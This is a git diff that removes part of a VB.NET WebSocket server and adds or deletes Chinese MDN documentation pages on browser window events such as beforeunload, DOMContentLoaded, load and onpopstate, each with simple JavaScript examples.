-        Sub Client_Connected(ByVal sender As Object, ByRef client As WebSocket.Client) Handles Me.OnClientConnect
-            Me.ClientCollection.Add(client)
-            AddHandler client.onClientDisconnect, AddressOf Client_Disconnected
-            client.HandShake()
-            ClientDataAvailableTimer.Start()
-        End Sub
-
-
-        Sub Client_Disconnected()
-
-        End Sub
-
-
-        Function isClientDisconnected(ByVal client As WebSocket.Client) As Boolean
-            isClientDisconnected = False
-            If Not client.isConnected Then
-                Return True
-            End If
-        End Function
-
-
-        Function isClientConnected(ByVal client As WebSocket.Client) As Boolean
-            isClientConnected = False
-            If client.isConnected Then
-                Return True
-            End If
-        End Function
-
-
-        Private Sub PendingCheckTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles PendingCheckTimer.Elapsed
-            If Pending() Then
-                RaiseEvent OnClientConnect(Me, New CORE.TypeDef.WebSocket.Client(Me.AcceptTcpClient()))
-            End If
-        End Sub
-
-
-        Private Sub ClientDataAvailableTimer_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles ClientDataAvailableTimer.Elapsed
-            Me.ClientCollection.RemoveAll(AddressOf isClientDisconnected)
-            If Me.ClientCollection.Count < 1 Then ClientDataAvailableTimer.Stop()
-
-            For Each Client As WebSocket.Client In Me.ClientCollection
-                Client.CheckForDataAvailability()
-            Next
-        End Sub
-    End Class
-End Namespace
-
-Sub Main()  'Program Entry point
-    Dim thread As System.Threading.Thread = New System.Threading.Thread(AddressOf StartWebSocketServer)
-    'Application.Add("WebSocketServerThread", thread) 'Global.asax - context.Application .. I left this part in for web application developers
-    thread.Start()
-End Sub
-
-Public Shared WebSocketServer As TypeDef.WebSocket.Server
-Public Shared Sub StartWebSocketServer()
-    WebSocketServer = New TypeDef.WebSocket.Server("127.0.0.1", 8000)
-    WebSocketServer.startServer()
-End Sub
-
diff --git a/files/zh-cn/web/api/window/afterprint_event/index.html b/files/zh-cn/web/api/window/afterprint_event/index.html new file mode 100644 index 0000000000..3ee72441cd --- /dev/null +++ b/files/zh-cn/web/api/window/afterprint_event/index.html @@ -0,0 +1,102 @@ +--- +title: afterprint +slug: Web/Events/afterprint +translation_of: Web/API/Window/afterprint_event +--- +

在相关联的文档已开始打印或打印预览已关闭之后, 触发 afterprint事件。

+ +

基本信息

+ +
+
Specification
+
HTML5
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
DefaultView (<window>)
+
Default Action
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

例子

+ +

使用 addEventListener():

+ +
window.addEventListener('afterprint', (event) => {
+  console.log('After print');
+});
+ +

使用 onafterprint 时间监听属性:

+ +
window.onafterprint = (event) => {
+  console.log('After print');
+};
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-afterprint')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.afterprint_event")}}

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/beforeprint_event/index.html b/files/zh-cn/web/api/window/beforeprint_event/index.html new file mode 100644 index 0000000000..fe9480238a --- /dev/null +++ b/files/zh-cn/web/api/window/beforeprint_event/index.html @@ -0,0 +1,100 @@ +--- +title: beforeprint +slug: Web/Events/beforeprint +translation_of: Web/API/Window/beforeprint_event +--- +

当相关联的文档即将打印或预览以进行打印时,将触发beforeprint事件。

+ +

基本信息

+ +
+
Specification
+
HTML5
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
DefaultView (<window>)
+
Default Action
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}事件目标 (DOM 树中的最顶层目标)
type {{readonlyInline}}{{domxref("DOMString")}}时间类型
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可取消
+ +

样例

+ +

使用 addEventListener()

+ +
window.addEventListener('beforeprint', (event) => {
+  console.log('Before print');
+});
+ +

使用 onbeforeprint 事件监听属性:

+ +
window.onbeforeprint = (event) => {
+  console.log('Before print');
+};
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', '#event-beforeprint')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.beforeprint_event")}}

+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/beforeunload_event/index.html b/files/zh-cn/web/api/window/beforeunload_event/index.html new file mode 100644 index 0000000000..9cef2f2cfc --- /dev/null +++ b/files/zh-cn/web/api/window/beforeunload_event/index.html @@ -0,0 +1,104 @@ +--- +title: 'Window: beforeunload event' +slug: Web/Events/beforeunload +tags: + - Event + - Window + - beforeunload + - 事件 + - 参考 +translation_of: Web/API/Window/beforeunload_event +--- +

当浏览器窗口关闭或者刷新时,会触发beforeunload事件。当前页面不会直接关闭,可以点击确定按钮关闭或刷新,也可以取消关闭或刷新。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableYes
Interface{{domxref("Event")}}
Event handler property{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}
+ +

事件使网页能够触发一个确认对话框,询问用户是否真的要离开该页面。如果用户确认,浏览器将导航到新页面,否则导航将会取消。

+ +

根据规范,要显示确认对话框,事件处理程序需要在事件上调用{{domxref("Event.preventDefault()", "preventDefault()")}}。

+ +

但是请注意,并非所有浏览器都支持此方法,而有些浏览器需要事件处理程序实现两个遗留方法中的一个作为代替:

+ +
    +
  • 将字符串分配给事件的returnValue属性
  • +
  • +

    从事件处理程序返回一个字符串。

    +
  • +
+ +

某些浏览器过去在确认对话框中显示返回的字符串,从而使事件处理程序能够向用户显示自定义消息。但是,此方法已被弃用,并且在大多数浏览器中不再支持。

+ +

为避免意外弹出窗口,除非页面已与之交互,否则浏览器可能不会显示在beforeunload事件中创建的提示,甚至根本不会显示它们。

+ +

将事件处理程序/监听器加到window或 documentbeforeunload事件后,将阻止浏览器使用内存中的页面导航缓存,例如Firefox的Back-Forward缓存WebKit的Page Cache

+ +

HTML规范指出在此事件中调用{{domxref("window.alert()")}},{{domxref("window.confirm()")}}以及{{domxref("window.prompt()")}}方法,可能会失效。更多详细信息,请参见HTML规范

+ +

示例

+ +

HTML规范指出作者应该使用 {{domxref("Event.preventDefault()")}} 而非 {{domxref("Event.returnValue")}},然而,不是所有浏览器都支持这么做。

+ +
window.addEventListener('beforeunload', (event) => {
+  // Cancel the event as stated by the standard.
+  event.preventDefault();
+  // Chrome requires returnValue to be set.
+  event.returnValue = '';
+});
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}{{Spec2("HTML5 W3C")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.beforeunload_event")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/window/blur/index.html b/files/zh-cn/web/api/window/blur/index.html new file mode 100644 index 0000000000..0aebdbb367 --- /dev/null +++ b/files/zh-cn/web/api/window/blur/index.html @@ -0,0 +1,39 @@ +--- +title: Window.blur() +slug: Web/API/Window/Window.blur() +translation_of: Web/API/Window/blur +--- +

{{APIRef}}

+ +

总结

+ +

将焦点移出顶层窗口。

+ +

语法

+ +
window.blur()
+ +

示例

+ +
window.blur();
+ +

注意

+ +

使用 window.blur() 方法与用户主动将焦点移出顶层窗口本质上是一样的。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/zh-cn/web/api/window/clearinterval/index.html b/files/zh-cn/web/api/window/clearinterval/index.html deleted file mode 100644 index 9a2d6e1790..0000000000 --- a/files/zh-cn/web/api/window/clearinterval/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: WindowTimers.clearInterval() -slug: Web/API/Window/clearInterval -tags: - - API - - WindowOrWorkerGlobalScope - - 参考 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval ---- -
{{ApiRef("HTML DOM")}}
- -

{{domxref("WindowOrWorkerGlobalScope")}} mixin 的 clearInterval() 方法可取消先前通过 {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 设置的重复定时任务。

- -

语法

- -
scope.clearInterval(intervalID)
-
- -

Parameters

- -
-
intervalID
-
要取消的定时器的 ID。是由 setInterval() 返回的。
-
- -

值得一提的是,{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 和 {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} 共用其定义的 IDs,即可以使用 clearInterval() 和 {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} 中的任意一个。然而,为了使代码可读性更强,你应该尽量避免这种用法。

- -

返回值

- -

{{jsxref("undefined")}}

- -

示例

- -

查看 setInterval() 的示例

- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容性

- - - -

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

- -

参见

- -
    -
  • JavaScript 定时器
  • -
  • {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}
  • -
  • {{domxref("WindowOrWorkerGlobalScope.setInterval")}}
  • -
  • {{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}
  • -
  • {{domxref("Window.requestAnimationFrame")}}
  • -
  • Daemons management
  • -
diff --git a/files/zh-cn/web/api/window/domcontentloaded_event/index.html b/files/zh-cn/web/api/window/domcontentloaded_event/index.html new file mode 100644 index 0000000000..67c6a44253 --- /dev/null +++ b/files/zh-cn/web/api/window/domcontentloaded_event/index.html @@ -0,0 +1,128 @@ +--- +title: DOMContentLoaded +slug: Web/Events/DOMContentLoaded +tags: + - DOMContentLoaded + - Window.open() + - load + - window.onload +translation_of: Web/API/Window/DOMContentLoaded_event +--- +

当初始的 HTML 文档被完全加载和解析完成之后,DOMContentLoaded 事件被触发,而无需等待样式表、图像和子框架的完全加载。

+ +

模拟的css文件:CSS.php

+ +
<?php
+sleep(3);
+ +

测试代码:

+ +
<link rel="stylesheet" href="css.php">
+<script>
+document.addEventListener('DOMContentLoaded',function(){
+    console.log('3 seconds passed');
+});
+</script>
+ +

如果将link置于script之后,就会立即打印。

+ +

{{Note("同步 JavaScript 会暂停 DOM 的解析。")}}

+ +

{{Note("还有许多通用和独立的库提供跨浏览器方法来检测 DOM 是否已准备就绪")}}

+ +

加速中

+ +

如果您希望 DOM 在用户请求页面后尽可能快地解析,你可以做的一些事情是把你的 JavaScript 异步化 以及 优化样式表的加载, 由于被并行加载而减慢页面加载,从主 html 文档“窃取”流量。

+ +

常规信息

+ +
+
规范
+
HTML5
+
接口
+
Event
+
是否冒泡
+
+
能否取消
+
能 (尽管一个简单的事件被指定为不可取消)
+
目标
+
Document
+
默认行为
+
无.
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
+ +

示例

+ +
<script>
+  document.addEventListener("DOMContentLoaded", function(event) {
+      console.log("DOM fully loaded and parsed");
+  });
+</script>
+ +
<script>
+  document.addEventListener("DOMContentLoaded", function(event) {
+      console.log("DOM fully loaded and parsed");
+  });
+
+  for(var i=0; i<1000000000; i++){
+      // 这个同步脚本将延迟DOM的解析。
+      // 所以DOMContentLoaded事件稍后将启动。
+  } 
+</script>
+ +

浏览器兼容性

+ +

{{Compat("api.Window.DOMContentLoaded_event")}}

+ +

至少从Gecko 1.9.2,Chrome 6,以及Safari 4开始,就已经实现了该事件的冒泡行为.

+ +

兼容不支持该事件的浏览器

+ +

在IE8中,可以使用readystatechange事件来检测DOM文档是否加载完毕.在更早的IE版本中,可以通过每隔一段时间执行一次document.documentElement.doScroll("left")来检测这一状态,因为这条代码在DOM加载完毕之前执行时会抛出错误(throw an error)。

+ +

诸如jQuery这样的通用JS库,会提供跨浏览器的方法来检测DOM是否加载完成。也有其他专门实现该功能的脚本:contentloaded.js (只能添一个时间监听函数)以及jquery.documentReady.js (并不依赖jQuery,虽然名字中有jquery).

+ +

相关事件

+ +
    +
  • {{event("DOMContentLoaded")}}
  • +
  • {{event("readystatechange")}}
  • +
  • {{event("load")}}
  • +
  • {{event("beforeunload")}}
  • +
  • {{event("unload")}}
  • +
  • DOMContentLoaded demo
  • +
diff --git a/files/zh-cn/web/api/window/getattention/index.html b/files/zh-cn/web/api/window/getattention/index.html deleted file mode 100644 index f17531eb18..0000000000 --- a/files/zh-cn/web/api/window/getattention/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Window.getAttention() -slug: Web/API/Window/getAttention -translation_of: Web/API/Window/getAttention ---- -
{{ ApiRef() }}
- -

The Window.getAttention() method attempts to get the user's attention. The mechanism for this happening depends on the specific operating system and window manager.

- -

语法

- -
window.getAttention();
-
- -

Notes

- -

On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user.

- -

On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well.

- -

On Macintosh, the icon in the upper right corner of the desktop flashes.

- -

The function is disabled for web content. Neither Gecko nor Internet Explorer supports this feature now for web content. getAttention will still work when used from chrome in a Gecko application.

- -

Specification

- -

DOM Level 0. Not part of specification.

- -

Browser compatibility

- - - -

{{Compat("api.Window.getAttention")}}

diff --git a/files/zh-cn/web/api/window/load_event/index.html b/files/zh-cn/web/api/window/load_event/index.html new file mode 100644 index 0000000000..5cfb7b075f --- /dev/null +++ b/files/zh-cn/web/api/window/load_event/index.html @@ -0,0 +1,161 @@ +--- +title: load +slug: Web/Events/load +tags: + - load +translation_of: Web/API/Window/load_event +--- +

{{APIRef}}

+ +

当整个页面及所有依赖资源如样式表和图片都已完成加载时,将触发load事件。

+ +

它与{{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}不同,后者只要页面DOM加载完成就触发,无需等待依赖资源的加载。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
能否取消
接口{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers/onload", "onload")}}
+ +

用法

+ +

当页面及资源完全加载后在控制台打印一段信息:

+ +
window.addEventListener('load', (event) => {
+  console.log('page is fully loaded');
+});
+ +

也可以使用onload实现:

+ +
window.onload = (event) => {
+  console.log('page is fully loaded');
+};
+ +

示例

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#event-type-load', 'load')}}{{Spec2('UI Events')}}
{{SpecName('HTML WHATWG', '#delay-the-load-event', 'load event')}}{{Spec2('HTML WHATWG')}}此链接指向加载文档结束时执行步骤中的部分。“load”事件也会在许多元素上触发。 请注意,规范中有很多地方涉及到可以"延迟加载事件"的内容。
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.load_event")}}

+ +

参阅

+ +
    +
  • 相关事件: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/beforeunload_event", "beforeunload")}}, {{domxref("Window/unload_event", "unload")}}
  • +
diff --git a/files/zh-cn/web/api/window/onbeforeunload/index.html b/files/zh-cn/web/api/window/onbeforeunload/index.html deleted file mode 100644 index 78bed99eb9..0000000000 --- a/files/zh-cn/web/api/window/onbeforeunload/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: window.onbeforeunload -slug: Web/API/Window/onbeforeunload -translation_of: Web/API/WindowEventHandlers/onbeforeunload ---- -
{{ApiRef}}
- -

概述

- -

当窗口即将被{{domxref("window.onunload","卸载(关闭)")}}时,会触发该事件.此时页面文档依然可见,且该事件的默认动作可以被{{domxref("event.preventDefault","取消")}}.

- -

语法

- -
window.onbeforeunload = funcRef
- -
    -
  • funcRef 是一个函数引用
  • -
  • 该函数应当将一个说明字符串赋值给Event对象的returnValue属性(兼容旧版浏览器),并且返回该字符串
  • -
  • 请注意,在Firefox4及其后续版本中,返回的说明字符串并不向用户显示,也就是无法自定义说明字符串.查看Bug 588292.
  • -
- -

示例

- -
window.onbeforeunload = function (e) {
-  e = e || window.event;
-
-  // 兼容IE8和Firefox 4之前的版本
-  if (e) {
-    e.returnValue = '关闭提示';
-  }
-
-  // Chrome, Safari, Firefox 4+, Opera 12+ , IE 9+
-  return '关闭提示';
-};
-
- -

附注

- -

当该事件返回的字符串(事前设置好的event.returnValue的值)不为null或者undefined时,弹出确认窗口让用户自行选择是否关闭当前页面。一些浏览器将该事件返回的字符串显示在弹出窗上。从Firefox 4、 Chrome 51、Opera 38 和Safari 9.1开始,通用确认信息代替事件返回的字符串。比如,火狐上会显示“本页面要求您确认您要离开 - 您输入的数据可能不会被保存”,请查阅{{bug("588292")}}和Chrome Platform Status

- -

从2011年5月25日起,  HTML5 规范 声明:在该事件的处理函数中调用下列弹窗相关的方法时,可以忽略不执行,window.showModalDialog(), window.alert(), window.confirm() window.prompt().

- -

需要指出的是,许多浏览器会忽略该事件并自动关闭页面无需用户的确认。火狐浏览器在配置页面about:config设有一个dom.disable_beforeunload的开关变量用于开启这个功能。

- -

你可以通过{{domxref("EventTarget.addEventListener","window.addEventListener()")}} 或者 {{event("beforeunload")}} 创建该事件。更多信息请点击以上链接。

- -

创建这个事件能防止浏览器缓存部分由javascript产生的页面内容。在页面中含Javascript产生的内容情形下,再次导航返回到原页面javascript不在运行。如果事先有window.onbeforeunload事件,导航返回到先前的页面后javascript将被触发并更新页面内容。

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support114123
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

规范

- -

该事件最初是由微软公司的IE4引进,虽然没有公开的规范说明,但所有浏览器都支持该事件.目前已被添加至HTML5规范草案中.

- -
    -
  • {{spec("http://dev.w3.org/html5/spec-LC/history.html#unloading-documents", "HTML5: Browsing the Web, Unloading documents", "LC")}}
  • -
- -

相关链接

- - diff --git a/files/zh-cn/web/api/window/onhashchange/index.html b/files/zh-cn/web/api/window/onhashchange/index.html deleted file mode 100644 index 0c7f3ebefa..0000000000 --- a/files/zh-cn/web/api/window/onhashchange/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: window.onhashchange -slug: Web/API/Window/onhashchange -tags: - - HTML-DOM - - Property - - Reference - - WindowEventHandlers -translation_of: Web/API/WindowEventHandlers/onhashchange ---- -

{{APIRef("HTML DOM")}}

- -

当 一个窗口的 hash (URL 中 # 后面的部分)改变时就会触发 hashchange 事件(参见 {{domxref("Window.location", "location.hash")}})。

- -

语法

- -
window.onhashchange = funcRef;
-
- -

或者

- -
<body onhashchange="funcRef();">
- -

以上操作将覆盖现有的事件处理程序。

- -

为了添加一个新的事件处理程序,而不覆盖掉已有的其他事件处理程序,可以使用函数 "addEventListener"

- -
window.addEventListener("hashchange", funcRef, false);
-
- -

参数

- -
-
funcRef
-
对一个函数的引用。
-
- -

例子

- -
if ("onhashchange" in window) {
-    alert("该浏览器支持 hashchange 事件!");
-}
-
-function locationHashChanged() {
-    if (location.hash === "#somecoolfeature") {
-        somecoolfeature();
-    }
-}
-
-window.onhashchange = locationHashChanged;
-
- -

hashchange 事件

- -

hashchange 事件对象有下面两个属性:

- - - - - - - - - - - - - - - - - - - -
属性类型描述
newURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面新的URL
oldURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面旧的URL
- -

Workaround for event.newURL and event.oldURL

- -
//let this snippet run before your hashchange event binding code
-if(!window.HashChangeEvent)(function(){
-	var lastURL=document.URL;
-	window.addEventListener("hashchange",function(event){
-		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
-		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
-		lastURL=document.URL;
-	});
-}());
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
- -

浏览器兼容性

- -

{{Compat("api.WindowEventHandlers.onhashchange")}}

- - diff --git a/files/zh-cn/web/api/window/onmouseup/index.html b/files/zh-cn/web/api/window/onmouseup/index.html deleted file mode 100644 index 03a4b116b8..0000000000 --- a/files/zh-cn/web/api/window/onmouseup/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: window.onmouseup -slug: Web/API/Window/onmouseup -translation_of: Web/API/GlobalEventHandlers/onmouseup -translation_of_original: Web/API/Window/onmouseup ---- -

{{ ApiRef() }}

-

概述

-

当前窗口的mouseup事件的事件句柄.

-

语法

-
window.onmouseup = funcRef;
-
-

参数

-
    -
  • funcRef 是个函数引用
  • -
-

例子

-
window.onmouseup = doFunc;
-
-
<html>
-<head>
-
-<title>onmouseup测试</title>
-
-<script type="text/javascript">
-
-window.onmouseup = mouseup;
-
-function mouseup()
-{
- alert("检测到mouseup事件!");
-}
-</script>
-</head>
-
-<body>
-<p>在页面上按下鼠标中某个键,保持几秒后松开.mouseup事件会在你松开鼠标时触发</p>
-</body>
-</html>
-
-

规范

-

没有任何公开的标准

-

{{ languages( { "ja": "ja/DOM/window.onmouseup" ,"en": "en/DOM/window.onmouseup" } ) }}

diff --git a/files/zh-cn/web/api/window/onpopstate/index.html b/files/zh-cn/web/api/window/onpopstate/index.html deleted file mode 100644 index 6efc1ec835..0000000000 --- a/files/zh-cn/web/api/window/onpopstate/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: window.onpopstate -slug: Web/API/Window/onpopstate -translation_of: Web/API/WindowEventHandlers/onpopstate ---- -

{{ ApiRef() }}

- -

{{ gecko_minversion_header("2") }}

- -

概述

- -

window.onpopstatepopstate事件在window对象上的事件处理程序.

- -

每当处于激活状态的历史记录条目发生变化时,popstate事件就会在对应window对象上触发. 如果当前处于激活状态的历史记录条目是由history.pushState()方法创建,或者由history.replaceState()方法修改过的, 则popstate事件对象的state属性包含了这个历史记录条目的state对象的一个拷贝.

- -

注意:调用history.pushState()或者history.replaceState()不会触发popstate事件. popstate事件只会在浏览器某些行为下触发, 比如点击后退、前进按钮(或者在JavaScript中调用history.back()、history.forward()、history.go()方法),此外,a 标签的锚点也会触发该事件.

- -

当网页加载时,各浏览器对popstate事件是否触发有不同的表现,Chrome 和 Safari会触发popstate事件, 而Firefox不会.

- -

语法

- -
window.onpopstate = funcRef;
-
- -
    -
  • funcRef 是个函数名.
  • -
- -

popstate事件

- -

假如当前网页地址为http://example.com/example.html,则运行下述代码后:

- -
window.onpopstate = function(event) {
-  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
-};
-//绑定事件处理函数.
-history.pushState({page: 1}, "title 1", "?page=1");    //添加并激活一个历史记录条目 http://example.com/example.html?page=1,条目索引为1
-history.pushState({page: 2}, "title 2", "?page=2");    //添加并激活一个历史记录条目 http://example.com/example.html?page=2,条目索引为2
-history.replaceState({page: 3}, "title 3", "?page=3"); //修改当前激活的历史记录条目 http://ex..?page=2 变为 http://ex..?page=3,条目索引为3
-history.back(); // 弹出 "location: http://example.com/example.html?page=1, state: {"page":1}"
-history.back(); // 弹出 "location: http://example.com/example.html, state: null
-history.go(2);  // 弹出 "location: http://example.com/example.html?page=3, state: {"page":3}
-
- -

即便进入了那些非pushState和replaceState方法作用过的(比如http://example.com/example.html)没有state对象关联的那些网页, popstate事件也仍然会被触发.

- -

规范

- - - -

浏览器兼容性

- - - -

{{Compat("api.WindowEventHandlers.onpopstate")}}

- -

相关链接

- - - -

{{ languages( {"en": "en/DOM/window.onpopstate" } ) }}

diff --git a/files/zh-cn/web/api/window/onscroll/index.html b/files/zh-cn/web/api/window/onscroll/index.html deleted file mode 100644 index af48e1575f..0000000000 --- a/files/zh-cn/web/api/window/onscroll/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: window.onscroll -slug: Web/API/Window/onscroll -translation_of: Web/API/GlobalEventHandlers/onscroll -translation_of_original: Web/API/Window/onscroll ---- -

{{ ApiRef() }}

-

概述

-

为当前页面的页面滚动事件添加事件处理函数.

-

语法

-
window.onscroll = funcRef;
-
-
    -
  • funcRef 是个函数类型的对象引用或者匿名函数.
  • -
-

例子

-
window.onscroll = function (e) {
-  // 当页面的滚动条滚动时,会执行这里的代码
-}
-
-
<html>
-<head>
-
-<title>onscroll test</title>
-
-<script type="text/javascript">
-
-window.onscroll = scroll;
-
-function scroll()
-{
- alert("检测到页面滚动事件:"+window.pageXOffset+" "+window.pageYOffset);
- // 注意: window.innerWidth 和 window.innerHeight 可以获得页面可见区域的宽和高.
-}
-</script>
-</head>
-
-<body>
-<p>Resize the window</p>
-<p>to a very small size,</p>
-<p>and use the scrollbars</p>
-<p>to move around the page content</p>
-<p>in the window.</p>
-</body>
-</html>
-
-

备注

-

{{ Bug("189308") }}, 在旧版本的Gecko中(Gecko 1.8/Firefox 1.5之前), scroll 事件只会在用户拖动滚动条时发生,使用方向键和鼠标滚轮滚动页面则不会触发该事件.

-

当 window.scrollX/scrollY 不为 0时,意味着用户或者网页脚本已经执行了窗口的滚动行为.

-

规范

- -

{{ languages( { "en": "en/DOM/window.onscroll"} ) }}

diff --git a/files/zh-cn/web/api/window/onunload/index.html b/files/zh-cn/web/api/window/onunload/index.html deleted file mode 100644 index 5e766c1d67..0000000000 --- a/files/zh-cn/web/api/window/onunload/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: window.onunload -slug: Web/API/Window/onunload -translation_of: Web/API/WindowEventHandlers/onunload ---- -

{{ ApiRef("HTML DOM") }}

- -

概述

- -

{{domxref("WindowEventHandlers")}} 的混入特性 onunload 是 {{domxref("EventHandler")}}  处理 {{Event("unload")}} 事件的方法。该事件在关闭窗口资源和内容的时候触发。页面资源的清除工作会在 unload  事件之后进行。

- -
-

注意事项: 具备弹窗阻止功能的浏览器会忽略 onunload  事件回调中调用的 {{domxref("Window.open()")}} 方法。

-
- -
-

onunload 特性(乃至 unload 事件本身) 并非使用 sendBeacon()的正确途径,要调用 sendBeacon() 接口,应当使用 visibilitychange 和 pagehide 事件。 参见 Beacon API is broken

-
- -

语法

- -
window.addEventListener("unload", function(event) { ... });
-window.onunload = function(event) { ... };
- -

通常而言,我们推荐使用 {{domxref("EventTarget.addEventListener", "window.addEventListener()")}} 来监听 {{event("unload")}} 事件,而不是直接给 onunload 赋值。

- -

例子

- -
<html>
-<head>
-
-<title>onunload test</title>
-
-<script type="text/javascript">
-
-window.onunload = unloadPage;
-
-function unloadPage()
-{
- alert("unload event detected!");
-}
-</script>
-</head>
-
-<body>
-<p>Reload a new page into the browser<br />
- to fire the unload event for this page.</p>
-<p>You can also use the back or forward buttons<br />
- to load a new page and fire this event.</p>
-</body>
-</html>
-
-
- -

规范

- -

{{ DOM0() }}

- -

{{ languages( {"en": "en/DOM/window.onunload" } ) }}

- -

浏览器兼容性

- - - -

{{Compat("api.WindowEventHandlers.onunload")}}

- -

